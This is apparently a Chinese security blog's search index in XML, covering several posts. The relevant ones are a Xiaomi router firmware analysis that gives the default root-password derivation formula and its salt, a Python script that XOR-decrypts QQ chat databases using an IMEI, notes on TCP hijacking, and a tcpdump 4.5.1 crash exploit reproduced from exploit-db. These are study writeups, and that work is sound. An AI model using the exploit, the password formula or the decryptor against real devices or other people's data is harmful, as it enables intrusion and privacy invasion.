Cool-Y.github.io/search.xml

85 lines
49 KiB
XML
Raw Normal View History

2019-03-22 14:09:10 +00:00
<?xml version="1.0" encoding="utf-8"?>
2019-03-23 04:40:50 +00:00
<search>
<entry>
<title><![CDATA[小米固件工具mkxqimage]]></title>
<url>%2F2019%2F03%2F16%2F%E5%B0%8F%E7%B1%B3%E5%9B%BA%E4%BB%B6%E5%B7%A5%E5%85%B7mkxqimage%2F</url>
<content type="text"><![CDATA[小米固件工具mkxqimage小米自己改了个打包解包固件的工具基于 trx 改的(本质上还是 trx 格式),加了 RSA 验证和解包功能路由系统里自带1234Usage:mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]] [-x file] [-I] 固件解包固件工具mkxqimage完成对固件的解包在解包前先检查Checksum是否正确然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名这两个步骤通过后根据[0x0C]的固件类型,以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。 固件打包小米官方在打包固件时用RSA私钥计算出固件的RSA签名小米路由器下载固件后用RSA公钥来验证RSA签名有效地防止固件被篡改。 固件格式路由固件的格式,基本是基于 openwrt 的 trx 这个简单的二进制文件格式12348 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 0020 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5 第14字节ASCII字符串“HDR0”作为固件的标识第58字节4字节整型数0x0311D464表示固件的大小51500132字节第9~12字节固件的检查和第1314字节0x0005表示固件中包含哪些部分第1516字节0x0002表示固件格式版本号第1720字节0x00000020表示固件第一部分在整个固件中的偏移量0.4.85固件的第一部分是brcm4709_nor.bin也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像第2124字节0x00FE0020表示固件第二部分在整个固件中的偏移量0.4.85固件的第二部分是root.ext4.lzma也就是硬盘中128M固件的压缩包第33字节开始是固件的正式内容开始。 小米开启ssh工具包使用mkxqimage解包现在会提示秘钥不存在12error fopen public keyImage verify failed, not formal image 如果能解包应该可以得到脚本文件upsetting.sh 1234#!/bin/shnvram set ssh_en=1nvram set flag_init_root_pwd=1nvram commit 执行脚本文件upsetting.sh后将ssh_en设置为1同时设置了flag_init_root_pwd项。当正式启动时/usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时自动修改root用户密码具体脚本为1234567flg_init_pwd=`nvram get flag_init_root_pwd`if [ &quot;$flg_init_pwd&quot; = &quot;1&quot; ]; then init_pwd=`mkxqimage -I` (echo $init_pwd; sleep 1; echo $init_pwd) | passwd root nvram unset flag_init_root_pwd nvram commitfi 初始密码是mkxqimage -I的结果实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上12位数字561000088888 初始密码计算算法为: substr(md5(SN+&quot;A2E371B0-B34B-48A5-8C40-A7133F3B5D88&quot;), 0, 8) A2E371B0-B34B-48A5-8C40-A7133F3B5D88 为分析mkxqimage得到的salt]]></content>
2019-03-22 14:09:10 +00:00
<categories>
2019-03-23 04:40:50 +00:00
<category>IOT</category>
2019-03-22 14:09:10 +00:00
</categories>
2019-03-23 04:40:50 +00:00
<tags>
<tag>小米</tag>
<tag>文件格式</tag>
<tag>SSH</tag>
</tags>
</entry>
<entry>
<title><![CDATA[QQ数据库的加密与解密]]></title>
<url>%2F2019%2F02%2F22%2Fqq%E6%95%B0%E6%8D%AE%E5%BA%93%E7%9A%84%E5%8A%A0%E5%AF%86%E8%A7%A3%E5%AF%86%2F</url>
<content type="text"><![CDATA[qq数据库采用简单加密——异或加密数据获取DENGTA_META.xml—IMEI:867179032952446databases/2685371834.db——数据库文件 解密方式明文msg_t 密文msg_Data keyIMEImsg_t = msg_Data[i]^IMEI[i%15] 实验123456789101112131415161718192021222324import sqlite3IMEI = &apos;867179032952446&apos;conn = sqlite3.connect(&apos;2685371834.db&apos;)c = conn.cursor()def _decrypt(foo): substr = &apos;&apos; #print(len(foo)) for i in range(0,len(foo)): substr += chr(ord(foo[i]) ^ ord(IMEI[i%15])) return substr#rem = c.execute(&quot;SELECT uin, remark, name FROM Friends&quot;)Msg = c.execute(&quot;SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New&quot;)for msg in Msg: uid = _decrypt(msg[1]) print(&quot;\n&quot;+uid+&quot;:&quot;) try: msgData = _decrypt(msg[0]).decode(&apos;utf-8&apos;) print(msgData) except: pass 结果]]></content>
2019-03-22 14:09:10 +00:00
<categories>
2019-03-23 04:40:50 +00:00
<category>加密解密</category>
2019-03-22 14:09:10 +00:00
</categories>
2019-03-23 04:40:50 +00:00
<tags>
<tag>密码</tag>
<tag>QQ</tag>
<tag>数据库</tag>
</tags>
</entry>
<entry>
<title><![CDATA[wifi半双工侧信道攻击学习笔记]]></title>
<url>%2F2019%2F01%2F16%2Fwifi%E5%8D%8A%E5%8F%8C%E5%B7%A5%E4%BE%A7%E4%BF%A1%E9%81%93%E6%94%BB%E5%87%BB%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2F</url>
<content type="text"><![CDATA[TCP侧信道分析及利用的学习报告背景知识测信道香农信息论 什么是信息? 用来减少随机不确定的东西 什么是加密? 类似于加噪声,增加随机不确定性 “从密码分析者来看,一个保密系统几乎就是一个通信系统。待传的消息是统计事件,加密所用的密钥按概率选出,加密结果为密报,这是分析者可以利用的,类似于受扰信号。” 侧信道随之出现 越过加密算法增加的随机不定性,从其他的渠道获取数据标签,确定信息内容。 早期:采集加密电子设备在运行过程中的时间消耗、功率消耗或者电磁辐射消耗等边缘信息的差异性 而随着研究的深入逐渐从加密设备延伸到计算机内部CPU、内存等之间的信息传递 并在Web应用交互信息传递越来越频繁时延伸到了网络加密数据流的破解方面 侧信道攻击的流程 第一个就是侧信道泄露的截取,第二个是信息的恢复。 网络攻击 中间人攻击 “指攻击者与通讯的两端分别创建独立的联系,并交换其所收到的数据,使通讯的两端认为他们正在通过一个私密的连接与对方直接对话,但事实上整个会话都被攻击者完全控制。” 公共wifi、路由器劫持 一般使用加密来防御 加密的代价:维护密钥证书、影响功能(运营商无法做缓存) 非中间人攻击/偏离路径攻击/off-path attack 通信线路之外,攻击者看不到双方的消息,没办法截获和发送通信包。智能伪造成一方给另一方发消息。 攻击成功需要:消息合法+最先到达 防御措施challenge-response/询问-应答机制双方在通信前交换一个随机数,这个随机数在每次的通信中都要被附带,而中间人看不见这个随机数,因此伪造的消息被认为不合法。 攻击者如何得到这个随机数:侧信道 TCP三次握手 客户端通过向服务器端发送一个SYN来创建一个主动打开作为三路握手的一部分。客户端把这段连接的序号设定为随机数A。 服务器端应当为一个合法的SYN回送一个SYN/ACK。ACK的确认码应为A+1SYN/ACK包本身又有一个随机产生的序号B。 最后客户端再发送一个ACK。当服务端收到这个ACK的时候就完成了三路握手并进入了连接创建状态。此时包的序号被设定为收到的确认号A+1而响应号则为B+1。 通过三次握手,确定对方不是非中间人 TCP序列号的问题 1985 1995 2001 2004 2007 2012 2012 2016 Morris Mitnik Zalewsky Waston kLM Herzberg 作者 作者 初始序列可预测 真实利用 漏洞仍在 BGP DoS Windows攻击 Puppet-assisted Malware-assisted off-path attack 90年代时发现并不随机1995年伪造客户端连接微软大楼的服务器 2007年在windows场景下用IDID侧信道猜出序列号只针对Windows花费几小时 Malware-assisted攻击模型给受害者安装一个无特权的应用程序仅能网络连接这个程序跟非中间人的攻击者里应外合劫持手机上所有的TCP连接。 如何劫持TCP 需要的信息Facebook的连接IP地址和端口号由此可以知道TCP连接的序列号利用序列号伪装成Facebook给手机发消息。使用netstat命令获取 任务由于TCP的序列号通常连续所以要精确猜到它的下一个序列号。 如何验证序列号正确:通过某种侧信道,这个恶意软件在后台可以提供反馈。 变种一:防火墙攻击过程: TCP三次握手之后产生A和B将来传输的包序列号必须跟A和B很接近否则防火墙会丢弃这个包。因此只有猜对了序列号包才能到达手机端。到达手机端后后台的恶意软件可以帮助我们判断手机是否接受了这个数据包。 具体侧信道方案: CPU资源使用率噪音很大——&gt;TCP计数器后台软件运行制造噪音——&gt;低噪音计数器:包被丢掉时,一个相应的错误计
2019-03-23 04:36:08 +00:00
<categories>
2019-03-23 04:40:50 +00:00
<category>顶会论文</category>
2019-03-23 04:36:08 +00:00
</categories>
2019-03-23 04:40:50 +00:00
<tags>
<tag>侧信道攻击</tag>
<tag>wifi</tag>
</tags>
</entry>
2019-03-23 04:42:19 +00:00
<entry>
<title><![CDATA[TCPDUMP拒绝服务攻击漏洞]]></title>
<url>%2F2018%2F12%2F25%2FTCPDUMP%E6%8B%92%E7%BB%9D%E6%9C%8D%E5%8A%A1%E6%94%BB%E5%87%BB%E6%BC%8F%E6%B4%9E%2F</url>
<content type="text"><![CDATA[TCPDUMP 4.5.1 拒绝服务攻击漏洞分析一、Tcpdump介绍 tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump它需要WinPcap驱动相当于在Linux平台下的libpcap. tcpdump能够分析网络行为性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤并提供and、or、not等逻辑语句来帮助你去掉无用的信息从而使用户能够进一步找出问题的根源。 也可以使用 tcpdump 的实现特定目的,例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量如Telnet或HTTP的数据包查看登录的用户名、密码、网址、正在浏览的网站内容或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁而是对网络上的其他计算机的安全存在威胁。 二、分析环境 Ubuntu 16.04.4 LTS i686 tcpdump 4.5.1 gdb with peda 三、漏洞复现这个漏洞触发的原因是tcpdump在处理特殊的pcap包的时候由于对数据包传输数据长度没有进行严格的控制导致在连续读取数据包中内容超过一定长度后会读取到无效的内存空间从而导致拒绝服务的发生。对于这个漏洞首先要对pcap包的结构进行一定的分析才能够最后分析出漏洞的成因下面对这个漏洞进行复现。 1.编译安装tcpdump12345678910111. # apt-get install libpcap-dev2. # dpkg -l libpcap-dev3. # wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz4. # tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz5. # cd tcpdump-4.5.1/6. # ./configure7. # make8. # make install9. # tcpdump -version tcpdump version 4.5.1 libpcap version 1.7.4 2.生成payload来自exploit-db payload12345678910111213141516171819202122232425262728293031323334# Exploit Title: tcpdump 4.5.1 Access Violation Crash# Date: 31st May 2016# Exploit Author: David Silveiro# Vendor Homepage: http://www.tcpdump.org# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz# Version: 4.5.1# Tested on: Ubuntu 14 LTSfrom subprocess import callfrom shlex import splitfrom time import sleepdef crash(): command = &apos;tcpdump -r crash&apos; buffer = &apos;\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff&apos; buffer += &apos;\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00&apos; buffer += &apos;\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00&lt;\x9c7@\xff\x00&apos; buffer += &apos;\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a&apos; buffer += &quot;\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&amp;\x80\x18\&apos;&quot; buffer += &quot;xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n&apos;, &apos;\x00\x00\x00\x00&quot; buffer += &apos;\x00\x00\x00\x00\x01\x03\x03\x04&apos; with open(&apos;crash&apos;, &apos;w+b&apos;) as file: file.write(buffer) try: call(split(command)) print(&quot;Exploit successful! &quot;) except: print(&quot;Error: Something has gone wrong!&quot;)def main(): print(&quot;Author: David Silveiro &quot;) print(&quot; tcpdump version 4.5.1 Access Violation Crash &quot;) sleep(2) crash()if __name__ == &quot;__main__&quot;: main() 四、崩溃分析1.pcap包格式首先来分析一下pcap包的格式首先是pcap文件头的内容在.h有所定义这里将结构体以及对应变量含义都列出来。123456789struct pcap_file_header &#123; bpf_u_int32 magic; u_short version_major; u_short version_minor; bpf_int32 thiszone; /* gmt to local correction */ bpf_u_int32 sigfigs; /* accuracy of timestamps */ bpf_u_int32 snaplen; /* max length saved portion of each pkt */ bpf_u_int32 linktype; /* data link type (LINK
<categories>
<category>二进制漏洞</category>
</categories>
<tags>
<tag>TCPDUMP</tag>
<tag>拒绝服务攻击</tag>
</tags>
</entry>
2019-03-23 04:40:50 +00:00
<entry>
<title><![CDATA[Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices]]></title>
<url>%2F2018%2F12%2F23%2F%E5%9F%BA%E4%BA%8E%E8%A7%84%E5%88%99%E5%BC%95%E6%93%8E%E5%8F%91%E7%8E%B0IOT%E8%AE%BE%E5%A4%87%2F</url>
<content type="text"><![CDATA[论文来源USENIX SECURITY 2018下载原文pdf中文slides 论文解读1. 概要: 物联网IoT设备的快速增长的格局为其管理和安全性带来了重大的技术挑战因为这些物联网设备来自不同的设备类型供应商和产品模型。 物联网设备的发现是表征,监控和保护这些设备的先决条件。然而,手动设备注释阻碍了大规模发现,并且基于机器学习的设备分类需要具有标签的大型训练数据。因此,大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。 这篇文章提出了一种基于采集规则的引擎ARE它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。 为了收集交易集ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以类型供应商和产品的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。 2. 背景与动机: 物联网蓬勃发展造就了物联网设备的广泛应用它不仅种类繁多包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等而且数量庞大据统计每天就会新增5500000台物联网设备。 但是由于设备脆弱、缺乏管理和配置不当物联网设备相比传统计算机要更不安全比如之前爆发的Mirai僵尸网络给美国造成了重大的损失。因此为了更主动地保护IOT设备提前发现、登记和注释物联网设备成为先决条件。 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”,传统生成设备注释的方法有基于指纹的,也有使用标志获取的,前者对数据集和大量设备模型的要求很高,而后者需要专业知识的人工方式,因此不可能用于大规模注释而且很难去维护更新。 所以作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备第二个Figure 2是有许多网站如产品测评会描述设备产品。从第一个事实我们可以从应用层数据包获取关键词然后根据这些关键词依据第二个事实进行网页爬虫以获取网页上的相关描述然后对这些描述进行自然语言处理和数据挖掘从而建立起基于规则的映射。 3. 核心工作—Rule Miner Rule Miner由三个部分构成Transaction set是一对由应用层数据和相关网页组成的文本单元它生成了一种规则 其中A是从应用层数据包中提取的一些特征B是从相关网页抓取的设备描述Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别),前者解决了设备类型和供应商名,后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch)以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好但好在实体与实体之间具有很高的依赖性这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。 4. 完整架构和应用 完整的ARE除了核心Rule Miner之外还有Transaction Collection用于收集响应数据和网络爬虫Rule Library用于存储生成的规则Planner用于更新规则。作者主要将ARE应用于三个方面一是互联网范围的设备测量统计二是对受损设备进行检测三是对易受攻击的设备进行分析。之后对ARE的效果与Nmap进行比较和评估从产生规则的数量
2019-03-22 14:09:10 +00:00
<categories>
2019-03-23 04:40:50 +00:00
<category>顶会论文</category>
2019-03-22 14:09:10 +00:00
</categories>
2019-03-23 04:40:50 +00:00
<tags>
<tag>USENIX</tag>
<tag>数据挖掘</tag>
<tag>自然语言处理</tag>
</tags>
</entry>
<entry>
<title><![CDATA[利用python实现BIBA模型]]></title>
<url>%2F2018%2F11%2F16%2FBIBA%E8%AE%BF%E9%97%AE%E6%8E%A7%E5%88%B6%E6%A8%A1%E5%9E%8B%E5%AE%9E%E7%8E%B0(python)%2F</url>
<content type="text"><![CDATA[基于python语言的BIBA模型图形界面实现一、实验目的 查阅资料了解biba安全模型的相关知识 通过编程实现基于biba模型的完整性访问控制进一步掌握biba模型的规则 使用python语言实现熟练pyqt的图形界面设计方法 二、实验环境: 操作系统Windows10 工具版本python3.7pyqt5 三、实验原理1. 什么是安全模型 系统的元素 具有行为能力的主体不具有行为能力的客体 系统的操作行为 可以执行的命令:读、写、执行 对系统行为的约束方式 对行为的控制策略 模型从抽象层次规定了系统行为和约束行为的方式 模型往往用状态来表示 系统行为所依赖的环境行为对系统产生的效果 2. biba完整性模型 完整性威胁问题 完整性的威胁就是一个子系统在初始时刻认为不正常的修改行为;来源:内部&amp;外部;类型:直接&amp;间接 外部的直接 外部的间接 内部的直接 内部的间接 外部系统恶意地篡改另一个系统的数据或程序 一个外部系统插入恶意的子程序 修改自己的代码 修改自己的指针 biba模型的完整性定义 完整性级别高的实体对完整性低的实体具有完全的支配性,反之如果一个实体对另一个实体具有完全的控制权,说明前者完整性级别更高,这里的实体既可以是主体也可以是客体。完整性级别和可信度有密切的关系,完整级别越高,意味着可信度越高。 biba模型的规则 对于写和执行操作,有如下规则: 写规则控制当且仅当主体S的完整性级别大于或等于客体O的完整性级别时主体S可以写客体O,一般称之为上写。执行操作控制当且仅当主体S2的完整性级别高于或等于S1,主体S1可以执行主体S2。 关于读操作,有不同的控制策略: 低水标模型任意主体可以读任意完整性级别的客体,但是如果主体读完整性级别比自己低的客体时,主体的完整性级别将为客体完整性级别,否则,主体的完整性级别保持不变。环模型不管完整性级别如何,任何主体都可以读任何客体严格完整性模型这个模型对读操作是根据主客体的完整性级别严格控制的,即只有完整性级别低或相等的主体才可以读完整性级别高的客体,称为下读 一般都是指毕巴严格完整性模型,总结来说是上写、下读 四、实验内容1. 用户登录实现核对用户输入的账户密码与存储的是否匹配 从用户输入框获取账户和密码 检查输入信息是否合法(为空) 从password.txt中获取并保存在列表listFromLine中 检查输入的账户是否存在 若存在,检查对应的密码是否正确 若正确,判断是管理员还是普通用户,并跳转相应的界面 1234567891011121314151617181920212223242526272829303132333435363738394041424344def checkPass(self): nameIn = self.lineEdit.text() passwdIn = self.lineEdit_2.text() md5 = hashlib.md5() md5.update(passwdIn.encode("utf-8")) passwdIn = md5.hexdigest() if (nameIn == '') or (passwdIn == ''): QMessageBox.warning(self, "警告", "账号和密码不能为空", QMessageBox.Yes) self.lineEdit.setFocus() print(nameIn, passwdIn) fr = open('./etc/passwd.txt') arrayofLines = fr.readlines() numberofLines = len(arrayofLines) for line in arrayofLines: line = line.strip() listFromLine = line.split(':') name = listFromLine[0] if name == nameIn: numberofLines = -1 passwd = listFromLine[1] if passwd == passwdIn: group = listFromLine[2] print("\n登录成功!\n") if name == 'root': print('root登录') rootUI.show() MainWindow.close() else: urName = nameIn mainUI.lineEdit.setText(urName) mainUI.lineEdit_2.setText(group) mainUI.show() MainWindow.close() else: QMessageBox.warning(self, "警告", "密码错误!", QMessageBox.Yes) self.lineEdit.setFocus() fr.close() return 0 2. 管理员功能实现管理员可以对用户进行增、删、查的操作 增加用户的实现 获取管理员
<categories>
<category>理论学习</category>
</categories>
<tags>
<tag>模型实现</tag>
<tag>python</tag>
<tag>访问控制</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Hello World]]></title>
<url>%2F2000%2F01%2F01%2Fhello-world%2F</url>
<content type="text"><![CDATA[你好!我是混元霹雳手]]></content>
</entry>
2019-03-22 14:09:10 +00:00
</search>